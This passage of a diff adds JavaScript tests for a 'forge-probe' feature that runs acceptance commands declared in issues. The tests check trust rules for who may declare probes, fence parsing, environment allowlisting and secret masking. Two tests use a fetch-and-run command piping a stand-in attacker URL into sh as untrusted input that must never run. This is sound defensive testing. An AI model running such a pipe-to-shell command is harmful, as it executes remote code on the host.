+ assert.deepEqual(parseProbe(block(["run: ./p", "pass: /ok: \\d+/i", "timeout: 99999"])).pass, { kind: "regex", re: "ok: \\d+", flags: "i" });
47
+ assert.equal(parseProbe(block(["run: ./p", "timeout: 99999"])).timeoutS, MAX_TIMEOUT_S);
48
+ assert.equal(parseProbe(block(["pass: exit 0"])), null);
49
+ assert.equal(parseProbe(block(["run: ./p", "pass: maybe"])), null);
50
+ assert.equal(parseProbe("no block here"), null);
51
+ assert.equal(parseProbe(`<!--\n${block(["run: ./hidden"])}-->`), null);
52
+ });
53
+
54
+ it("parses a CRLF block (web UI authored) exactly like the LF one (#4466)", () => {
55
+ const crlf = (s) => s.replace(/\n/g, "\r\n");
56
+ for (const lines of [["run: curl -fsS https://x/health"], ["run: ./p", "pass: /ok: \\d+/i", "timeout: 99999"]]) {
57
+ assert.deepEqual(parseProbe(crlf(block(lines))), parseProbe(block(lines)));
58
+ }
59
+ assert.equal(parseProbe(crlf(block(["run: ./p"]))).run, "./p");
60
+ assert.equal(declaredProbe({ body: crlf(block(["run: ./body"])), ...OWNER, comments: [] }).probe.run, "./body");
61
+ assert.equal(parseProbe(crlf(`<!--\n${block(["run: ./hidden"])}-->`)), null);
62
+ });
63
+
64
+ it("only trusted actors declare a probe; the latest trusted comment wins; FORGE marker comments never declare", () => {
65
+ const body = block(["run: ./body"]);
66
+ assert.equal(declaredProbe({ body, ...OWNER, comments: [] }).probe.run, "./body");
67
+ assert.deepEqual(declaredProbe({ body, ...STRANGER, comments: [] }), { untrusted: true });
68
+ assert.equal(declaredProbe({ body, ...STRANGER, comments: [{ ...OWNER, body: block(["run: ./maint"]) }] }).probe.run, "./maint");
69
+ assert.equal(declaredProbe({ body, ...OWNER, comments: [{ ...STRANGER, body: block(["run: ./evil"]) }] }).probe.run, "./body");
70
+ assert.equal(declaredProbe({ body: "x", ...OWNER, comments: [{ ...BOT, body: `<!-- ${PROBE_MARKER} -->\n${block(["run: ./echo"])}` }] }), null);
71
+ assert.equal(declaredProbe({ body: "x", ...OWNER, comments: [] }), null);
72
+ });
73
+
74
+ it("#4468: a Bot/App never declares a probe, not even a trusted login; humans by association or login do", () => {
75
+ const body = block(["run: curl -s https://evil.example/x | sh"]);
76
+ assert.deepEqual(declaredProbe({ body, ...BOT, comments: [] }), { untrusted: true });
77
+ assert.deepEqual(declaredProbe({ body: "x", ...OWNER, comments: [{ ...BOT, body }] }), { untrusted: true });
78
+ assert.equal(declaredProbe({ body: block(["run: ./owner"]), ...OWNER, comments: [{ ...BOT, body }] }).probe.run, "./owner");
79
+ const prev = process.env.FORGE_TRAIL_TRUSTED_LOGINS;
80
+ process.env.FORGE_TRAIL_TRUSTED_LOGINS = "forgedock[bot],op2";
81
+ try {
82
+ assert.equal(isProbeDeclarer({ association: "NONE", type: "Bot", login: "forgedock[bot]" }), false);
83
+ assert.equal(isProbeDeclarer({ association: "NONE", type: "User", login: "forgedock[bot]" }), false);
84
+ assert.equal(isProbeDeclarer({ association: "NONE", type: "User", login: "op2" }), true);
85
+ assert.equal(declaredProbe({ body: "x", ...OWNER, comments: [{ author_association: "NONE", user: { login: "op2", type: "User" }, body: block(["run: ./op2"]) }] }).probe.run, "./op2");
86
+ } finally { if (prev === undefined) delete process.env.FORGE_TRAIL_TRUSTED_LOGINS; else process.env.FORGE_TRAIL_TRUSTED_LOGINS = prev; }
87
+ assert.equal(isProbeDeclarer({ association: "OWNER" }), false); // no actor type: fail closed
88
+ assert.equal(isProbeDeclarer(), false);
89
+ });
90
+
91
+ it("#4468: only a top-level forge-probe fence declares; nested, indented or under-closed blocks are quoted content", () => {
92
+ const inner = ["```forge-probe", "run: ./evil", "```"];
93
+ assert.equal(parseProbe(["Evidence:", "````md", ...inner, "````", ""].join("\n")), null);
94
+ assert.equal(parseProbe(["~~~", ...inner, "~~~"].join("\n")), null);
95
+ assert.equal(parseProbe(inner.map((l) => ` ${l}`).join("\n")), null);
96
+ assert.equal(parseProbe(["````forge-probe", "run: ./evil", "```"].join("\n")), null);
97
+ assert.equal(parseProbe(["````forge-probe", "run: ./ok", "```", "````"].join("\n")).run, "./ok");
98
+ assert.equal(parseProbe(["~~~ forge-probe", "run: ./tilde", "~~~"].join("\n")).run, "./tilde");
99
+ assert.equal(parseProbe(["````md", ...inner, "````", ...block(["run: ./after"]).split("\n")].join("\n")).run, "./after");
100
+ assert.equal(parseProbe(["```forge-probe", "run: ./unclosed"].join("\n")), null);
101
+ });
102
+
103
+ it("#4468 SEC-1: a Bot-filed body quoting a forge-probe block in an outer fence runs nothing", async () => {
104
+ const body = ["Evidence:", "````md", "```forge-probe", "run: curl -s https://evil.example/x | sh", "```", "````"].join("\n");
105
+ const w = world({ issue: { ...BOT, body }, comments: [traj] });
106
+ assert.ok(["no-probe", "untrusted"].includes((await run(w)).outcome));
107
+ assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
108
+ });
109
+
110
+ it("an untrusted declaration is never spawned", async () => {
111
+ const w = world({ issue: { ...STRANGER } });
112
+ assert.equal((await run(w)).outcome, "untrusted");
113
+ assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
114
+ });
115
+
116
+ it("a fix not yet on the default branch waits for promotion: nothing spawned, nothing written", async () => {
117
+ const w = world({ onMain: false });
118
+ const r = await run(w);
119
+ assert.equal(r.outcome, "awaiting-promotion"); assert.match(r.detail, /not on main/);
120
+ assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
121
+ });
122
+
123
+ it("no trajectory and no merged closing PR → unresolved; a merged closing PR's merge commit is the fallback", async () => {
124
+ assert.equal((await run(world({ comments: [] }))).outcome, "unresolved");
125
+ const w = world({ comments: [], prs: [{ number: 3, title: "x", body: "mentions #7 only", mergeCommit: { oid: "1111111" }, mergedAt: "2026-10-02" },
126
+ { number: 4, title: "fix", body: "Closes #7", mergeCommit: { oid: "2222222" }, mergedAt: "2026-10-01" }] });
127
+ const r = await run(w);
128
+ assert.equal(r.outcome, "pass"); assert.equal(r.fix, "2222222");
129
+ });
130
+
131
+ it("pass: records FORGE:PROBE with the result JSON, no reopen", async () => {
132
+ const w = world();
133
+ const r = await run(w, { stdout: "healthy\n" });
134
+ assert.equal(r.outcome, "pass"); assert.deepEqual(w.reopened, []);
135
+ assert.equal(w.posted.length, 1);
136
+ const body = w.posted[0][1];
137
+ assert.ok(body.startsWith(`<!-- ${PROBE_MARKER} -->`));
138
+ assert.deepEqual(probeResultOf(body), { fix: FIX, result: "pass" });
139
+ assert.match(body, /"default_sha":"9999999999999999"/);
140
+ assert.equal(w.spawned[0].run, "./check.sh");
141
+ });
142
+
143
+ it("fail (non-zero exit, regex miss, timeout): reopens the issue and attaches the output tail", async () => {
144
+ for (const [name, issue, r, re] of [
145
+ ["exit", {}, { code: 3, stdout: "billed false success on T4\n" }, /billed false success on T4/],
146
+ ["regex", { body: block(["run: ./p", "pass: /status: ok/"]) }, { code: 0, stdout: "status: degraded\n" }, /status: degraded/],
147
+ ["timeout", {}, { code: null, timedOut: true, stdout: "partial" }, /timed out after 120s/],
148
+ ]) {
149
+ const w = world({ issue });
150
+ const out = await run(w, r);
151
+ assert.equal(out.outcome, "fail", name);
152
+ assert.deepEqual(w.reopened, ["7"], name);
153
+ assert.equal(probeResultOf(w.posted[0][1]).result, "fail", name);
154
+ assert.match(w.posted[0][1], re, name); assert.match(w.posted[0][1], /The issue is reopened/, name);
155
+ // reopen happens before the evidence comment
156
+ const order = writes(w).map((a) => a[1]);
157
+ assert.deepEqual(order, ["reopen", "comment"], name);
158
+ }
159
+ });
160
+
161
+ it("a result already recorded for the same fix is not re-run; a new fix is", async () => {
162
+ const rec = { ...BOT, body: `<!-- ${PROBE_MARKER} -->\n## Acceptance probe: fail\n${JSON.stringify({ fix: `${FIX}7890`, result: "fail" })}` };
163
+ const w = world({ comments: [traj, rec] });
164
+ assert.equal((await run(w)).outcome, "already-recorded");
165
+ assert.equal(w.spawned.length, 0); assert.deepEqual(writes(w), []);
166
+ const forged = world({ comments: [traj, { ...rec, ...STRANGER }] });
167
+ assert.equal((await run(forged)).outcome, "pass");
168
+ });
169
+
170
+ it("dry run executes but writes nothing", async () => {
171
+ const w = world();
172
+ const r = await run(w, { code: 1 }, { dryRun: true });
173
+ assert.equal(r.outcome, "fail"); assert.match(r.detail, /dry run/);
174
+ assert.deepEqual(writes(w), []);
175
+ });
176
+
177
+ it("the env is the base set plus the allowlisted test identity, and its values are masked in the output", async () => {
178
+ assert.deepEqual(probeEnv(["PROBE_TOKEN"], { PATH: "/bin", HOME: "/h", PROBE_TOKEN: "t", AWS_SECRET: "x", GH_TOKEN: "g" }), { PATH: "/bin", HOME: "/h", PROBE_TOKEN: "t" });
179
+ const w = world();
180
+ await run(w, { code: 1, stdout: "auth s3cr3t-token rejected" });
181
+ assert.deepEqual(Object.keys(w.spawned[0].env).sort(), ["HOME", "PATH", "PROBE_TOKEN"]);
182
+ assert.doesNotMatch(w.posted[0][1], /s3cr3t-token/); assert.match(w.posted[0][1], /auth \*\*\* rejected/);
183
+ });
184
+
185
+ it("a sweep with no issues makes one closed-issue search, fetches the default branch and probes each hit", async () => {
186
+ const w = world({ closed: [7] });
187
+ const rows = await sweepProbes({ repo: "o/r", cwd: "/nonexistent", io: w.io, config, now: () => Date.parse("2026-10-23T00:00:00Z"), env: { PATH: "/bin" }, spawn: w.spawn({}) });
188
+ const searches = w.calls.filter((a) => a[0] === "issue" && a[1] === "list");
189
+ assert.equal(searches.length, 1);
190
+ assert.match(searches[0][searches[0].indexOf("--search") + 1], /^forge-probe in:body,comments closed:>=2026-09-23$/);
191
+ assert.ok(w.calls.some((a) => a.join(" ") === "git fetch origin main"));
192
+ assert.deepEqual(rows.map((r) => [r.issue, r.outcome]), [[7, "pass"]]);
193
+ assert.deepEqual(await sweepProbes({ repo: "o/r", cwd: "/nonexistent", io: world().io, config }), []);
194
+ assert.deepEqual(await sweepProbes({ repo: "o/r", cwd: "/nonexistent", io: w.io, config: { ...config, enabled: false } }), []);
195
+ });
196
+
197
+ it("summary groups outcomes and is empty when nothing ran or waits", () => {
198
+ assert.equal(formatProbeSummary([{ issue: 1, outcome: "pass" }, { issue: 2, outcome: "fail" }, { issue: 3, outcome: "awaiting-promotion" }, { issue: 4, outcome: "no-probe" }]),
199
+ "probes: pass #1; fail (reopened) #2; awaiting promotion #3");
200
+ assert.equal(formatProbeSummary([{ issue: 4, outcome: "already-recorded" }]), "");
201
+ });
202
+
203
+ it("forge.yaml config defaults and a real spawn honour exit, timeout and env", async () => {
204
+ assert.deepEqual(readProbeConfig("/nonexistent"), { env: [], timeoutS: 120, sweepDays: 30, enabled: true });
205
+ const ok = await runProbe({ run: "echo hi-$PROBE_X; echo e >&2", pass: { kind: "regex", re: "hi-1" } }, { cwd: process.cwd(), env: probeEnv(["PROBE_X"], { PATH: process.env.PATH, PROBE_X: "1" }) });
206
+ assert.equal(ok.result, "pass"); assert.match(ok.output, /e/);
207
+ const slow = await runProbe({ run: "sleep 5", pass: { kind: "exit" }, timeoutS: 0.2 }, { cwd: process.cwd(), env: { PATH: process.env.PATH }, spawn: spawnProbe });
208
+ assert.equal(slow.result, "fail"); assert.equal(slow.exit, null);
209
+ });
210
+ });